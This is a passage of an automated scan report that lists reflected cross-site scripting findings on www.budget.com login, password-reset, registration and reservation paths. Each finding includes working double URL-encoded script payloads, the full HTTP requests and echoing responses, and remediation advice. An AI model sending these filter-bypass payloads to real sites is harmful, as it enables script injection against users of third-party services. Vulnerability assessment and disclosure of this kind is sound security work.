There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile3e098%253cscript%253ealert%25281%2529%253c%252fscript%253eb37fdc2d414/rapidrezlogin.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=PPtsMGGXg91TpJLHRJBsS68nlzpJfQJ7lG2Gp7XZ2L4hQnMhy69V!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 90
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:59 GMT
Connection: close

Invalid path /profile3e098<script>alert(1)</script>b37fdc2d414/rapidrezlogin was requested

1.46. https://www.budget.com/budgetWeb/profile/resetpswd.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/resetpswd.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b90e9%253cscript%253ealert%25281%2529%253c%252fscript%253ee58460b4c65 was submitted in the REST URL parameter 2. This input was echoed as b90e9<script>alert(1)</script>e58460b4c65 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profileb90e9%253cscript%253ealert%25281%2529%253c%252fscript%253ee58460b4c65/resetpswd.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/html/en/aboutus/jobs/index.html?ICID=sitemap&IID=jobs
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 86
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:01 GMT
Connection: close
Set-Cookie: JSESSIONID=2L25MGHMTLVQrhPr7LSR1L92WzsrqvjGPgtFP82zmNG94RWFpg9f!-83250647; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:49:00 GMT; path=/

Invalid path /profileb90e9<script>alert(1)</script>e58460b4c65/resetpswd was requested

1.47. https://www.budget.com/budgetWeb/profile/signin.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/signin.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 92c94%253cscript%253ealert%25281%2529%253c%252fscript%253e1da6d6aa5f8 was submitted in the REST URL parameter 2. This input was echoed as 92c94<script>alert(1)</script>1da6d6aa5f8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile92c94%253cscript%253ealert%25281%2529%253c%252fscript%253e1da6d6aa5f8/signin.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/html/en/aboutus/jobs/index.html?ICID=sitemap&IID=jobs
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 83
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:46 GMT
Connection: close
Set-Cookie: JSESSIONID=QNwWMGHftpbNGJBsTMK5g5nvJRfGn2gTpMZ8zRTYPG82MvW9QcTP!455947420; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:48:47 GMT; path=/

Invalid path /profile92c94<script>alert(1)</script>1da6d6aa5f8/signin was requested

1.48. https://www.budget.com/budgetWeb/profile/siteregistration.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/siteregistration.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 76827%253cscript%253ealert%25281%2529%253c%252fscript%253eea6806de664 was submitted in the REST URL parameter 2. This input was echoed as 76827<script>alert(1)</script>ea6806de664 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile76827%253cscript%253ealert%25281%2529%253c%252fscript%253eea6806de664/siteregistration.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/html/en/aboutus/jobs/index.html?ICID=sitemap&IID=jobs
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 93
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:01 GMT
Connection: close
Set-Cookie: JSESSIONID=6kCqMGHMknJybxzntGTq4zjttC3NLH0NtP5FhlHrJH2mQ736LL7Q!-736587193; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:49:00 GMT; path=/

Invalid path /profile76827<script>alert(1)</script>ea6806de664/siteregistration was requested

1.49. https://www.budget.com/budgetWeb/reservation/bridge.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/reservation/bridge.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7cb23%253cscript%253ealert%25281%2529%253c%252fscript%253e6ab7b01c298 was submitted in the REST URL parameter 2. This input was echoed as 7cb23<script>alert(1)</script>6ab7b01c298 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/reservation7cb23%253cscript%253ealert%25281%2529%253c%252fscript%253e6ab7b01c298/bridge.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=KwngMGGXTjzVGL3wPLnGDYdCm2lJgqLHCBNQvJldLbbww34lwpTG!-83250647; CRAP=y; datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 87
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:49 GMT
Connection: close

Invalid path /reservation7cb23<script>alert(1)</script>6ab7b01c298/bridge was requested

1.50. https://www.budget.com/budgetWeb/reservation/initializer.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/reservation/initializer.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 25c81%253cscript%253ealert%25281%2529%253c%252fscript%253e1aef57904e9 was submitted in the REST URL parameter 2. This input was echoed as 25c81<script>alert(1)</script>1aef57904e9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/reservation25c81%253cscript%253ealert%25281%2529%253c%252fscript%253e1aef57904e9/initializer.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 92
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:47:18 GMT
Connection: close
Set-Cookie: JSESSIONID=wmGyMGHHTBPJ1T3yTWC24FGZXq2y8C1pdyv6hwf8k7z3d3vhQqYB!844067018; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:47:19 GMT; path=/

Invalid path /reservation25c81<script>alert(1)</script>1aef57904e9/initializer was requested

1.51. https://www.budget.com/budgetWeb/reservation/view.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/reservation/view.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a294a%253cscript%253ealert%25281%2529%253c%252fscript%253eff0da48368d was submitted in the REST URL parameter 2. This input was echoed as a294a<script>alert(1)</script>ff0da48368d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/reservationa294a%253cscript%253ealert%25281%2529%253c%252fscript%253eff0da48368d/view.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 85
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:47:13 GMT
Connection: close
Set-Cookie: JSESSIONID=JpydMGHQTQ1JrMhTNTLJ6MynSRjWYy2FlvKx4g21MtY9wQbJnkXm!-736587193; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:47:12 GMT; path=/

Invalid path /reservationa294a<script>alert(1)</script>ff0da48368d/view was requested

1.52. https://www.budget.com/budgetWeb/smallbiz/bcdsignup.ex [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/smallbiz/bcdsignup.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bc78e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a1b898c001 was submitted in the REST URL parameter 2. This input was echoed as bc78e<script>alert(1)</script>0a1b898c001 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/smallbizbc78e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a1b898c001/bcdsignup.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=6qnJMGGZHxHXf7v0yyTGhlcRygckTVnqgNphyFYkQn11GHK7LytJ!455947420; CRAP=y; datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 87
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:40 GMT
Connection: close

Invalid path /smallbizbc78e<script>alert(1)</script>0a1b898c001/bcdsignup was requested

Report generated by XSS.CX at Sat Nov 13 20:09:57 CST 2010.